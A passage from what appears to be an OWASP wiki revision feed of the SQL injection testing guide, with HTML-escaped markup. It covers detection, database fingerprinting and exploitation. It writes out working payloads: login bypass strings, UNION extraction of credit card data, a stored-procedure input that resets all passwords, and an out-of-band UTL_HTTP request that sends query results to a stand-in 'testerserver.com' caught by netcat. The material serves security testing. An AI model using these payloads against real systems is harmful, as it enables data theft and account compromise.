&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Error based Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
An Error based exploitation technique is useful when the tester for some reason can’t exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester can manipulate the parameter passed to GET_HOST_NAME() function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Out of band Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
This technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Like the error based techniques, each DBMS has its own functions. Check for specific DBMS section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request. This Oracle function will try to connect to ‘testerserver’ and make a HTTP GET request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver (e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Time delay Exploitation technique ====&lt;br /&gt;
  &lt;br /&gt;
The time delay exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in which nothing is known on the outcome of an operation. This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. If there is a delay, the tester can assume the result of the conditional query is true. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example the tester if checking whether the MySql version is 5.x or not, making the server to delay the answer by 10 seconds. The tester can increase the delay time and monitor the responses. The tester also doesn’t need to wait for the response. Sometimes he can set a very high value (e.g. 100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
==== Stored Procedure Injection ====&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must properly sanitize the user input to eliminate the risk of code injection. If not sanitized, the user could enter malicious SQL that will be executed within the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create procedure user_login @username varchar(20), @passwd varchar(20) &lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select 1 from users&lt;br /&gt;
Where username = ‘ + @username + ‘ and passwd = ‘ + @passwd&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the return value to show an existing record with theseparameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a user, but consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code into this scenario and compromise the data. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
1 from users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==== Automated Exploitation ====&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
==Tools==&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/productservice/pangolin/ Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2013-A1-Injection]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - https://sparrow.ece.cmu.edu/group/731-s11/readings/anley-sql-inj.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - https://docs.google.com/file/d/0B5CQOTY4YRQCSWRHNkNaaFMyQTA/edit&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Documentation on SQL injection vulnerabilities in products'''&lt;br /&gt;
&lt;br /&gt;
* [https://www.vanstechelman.eu/content/anatomy-of-the-sql-injection-in-drupals-database-comment-filtering-system-sa-core-2015-003 Anatomy of the SQL injection in Drupal's database comment filtering system SA-CORE-2015-003]&lt;/div&gt;</summary>
		<author><name>Thompsnm</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210706</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=210706"/>
				<updated>2016-03-09T02:48:21Z</updated>
		
		<summary type="html">&lt;p&gt;Thompsnm: /* How to Test */ - Adjust headers for readability; add missing 'though'&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
== Summary == &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or &amp;amp;quot;injection&amp;amp;quot; of either a partial or complete SQL query via the data input or transmitted from the client (browser) to the web application. A successful SQL injection attack can read sensitive data from the database, modify database data (insert/update/delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file existing on the DBMS file system or write files into the file system, and, in some cases, issue commands to the operating system. SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In general the way web applications construct SQL statements involving SQL syntax written by the programmers is mixed with user-supplied data. Example:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In the example above the variable $id contains user-supplied data, while the remainder is the SQL static part supplied by the programmer; making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was constructed, the user can supply crafted input trying to make the original SQL statement execute further actions of the user's choice. The example below illustrates the user-supplied data “10 or 1=1”, changing the logic of the SQL statement, modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
SQL Injection attacks can be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
* Inband: data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a different channel (e.g., an email with the results of the query is generated and sent to the tester).&lt;br /&gt;
* Inferential or Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A successful SQL Injection attack requires the attacker to craft a syntactically correct SQL Query. If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query. &lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.&lt;br /&gt;
* Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.&lt;br /&gt;
* Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.&lt;br /&gt;
&lt;br /&gt;
==How to Test== &lt;br /&gt;
&lt;br /&gt;
===Detection Techniques===&lt;br /&gt;
The first step in this test is to understand when the application interacts with a DB Server in order to access some data. Typical examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
* Authentication forms: when authentication is performed using a web form, chances are that the user credentials are checked against a database that contains all usernames and passwords (or, better, password hashes).&lt;br /&gt;
* Search engines: the string submitted by the user could be used in a SQL query that extracts all relevant records from a database.&lt;br /&gt;
* E-Commerce sites: the products and their characteristics (price, description, availability, etc) are very likely to be stored in a  database.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The tester has to make a list of all input fields whose values could be used in crafting a SQL query, including the hidden fields of POST requests and then test them separately, trying to interfere with the query and to generate an error. Consider also HTTP headers and Cookies. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The very first test usually consists of adding a single quote (') or a semicolon (;) to the field or parameter under test. The first is used in SQL as a string terminator and, if not filtered by the application, would lead to an incorrect query. The second is used to end a SQL statement and, if it is not filtered, it is also likely to generate an error. The output of a vulnerable field might resemble the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Also comment delimiters (-- or /* */, etc) and other SQL keywords like 'AND' and 'OR' can be used to try to modify the query. A very simple but sometimes still effective technique is simply to insert a string where a number is expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Monitor all the responses from the web server and have a look at the HTML/javascript source code. Sometimes the error is present inside them but for some reason (e.g. javascript error, HTML comments, etc) is not presented to the user. A full error message, like those in the examples, provides a wealth of information to the tester in order to mount a successful injection attack. However, applications often do not provide so much detail: a simple '500 Server Error' or a custom error page might be issued, meaning that we need to use blind injection techniques. In any case, it is very important to test each field separately: only one variable must vary while all the other remain constant, in order to precisely understand which parameters are vulnerable and which are not.&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
===Standard SQL Injection Testing===&lt;br /&gt;
&lt;br /&gt;
====Example 1 (classical SQL Injection):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
A similar query is generally used from the web application in order to authenticate a user. If the query returns a value it means that inside the database a user with that set of credentials exists, then the user is allowed to login to the system, otherwise access is denied. The values of the input fields are generally obtained from the user through a web form. Suppose we insert the following Username and Password values:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The query will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
If we suppose that the values of the parameters are sent to the server through the GET method, and if the domain of the vulnerable web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
After a short analysis we notice that the query returns a value (or a set of values) because the condition is always true (OR 1=1). In this way the system has authenticated the user without knowing the username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator user. This may be the profile returned in some cases.'' Another example of query is the following:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this case, there are two problems, one due to the use of the parentheses and one due to the use of MD5 hash function. First of all, we resolve the problem of the parentheses. That simply consists of adding a number of closing parentheses until we obtain a corrected query. To resolve the second problem, we try to evade the second condition. We add to our query a final symbol that means that a comment is beginning. In this way, everything that follows such symbol is considered a comment. Every DBMS has its own syntax for comments, however, a common symbol to the greater majority of the databases is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &amp;lt;/pre&amp;gt;&lt;br /&gt;
(Due to the inclusion of a comment delimiter in the $username value the password portion of the query will be ignored.)&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
The URL request will be:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
This may return a number of values. Sometimes, the authentication code verifies that the number of returned records/results is exactly equal to 1. In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator &amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
====Example 2 (simple SELECT statement):====&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the query above:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return some message telling us there is no content available or a blank page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
====Example 3 (Stacked queries):====&lt;br /&gt;
&lt;br /&gt;
Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row and independent of the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
===Fingerprinting the Database===&lt;br /&gt;
 &lt;br /&gt;
Even though the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.&lt;br /&gt;
&lt;br /&gt;
1) The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
MS SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Exploitation Techniques ===&lt;br /&gt;
 &lt;br /&gt;
==== Union Exploitation Technique ====&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used in SQL injections to join a query, purposely forged by the tester, to the original query. The result of the forged query will be joined to the result of the original query, allowing the tester to obtain the values of columns of other tables. Suppose for our examples that the query executed from the server is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following $id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Which will join the result of the original query with all the credit card numbers in the CreditCardTable table. The keyword '''ALL''' is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query. If there is an error message available, it would probably be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
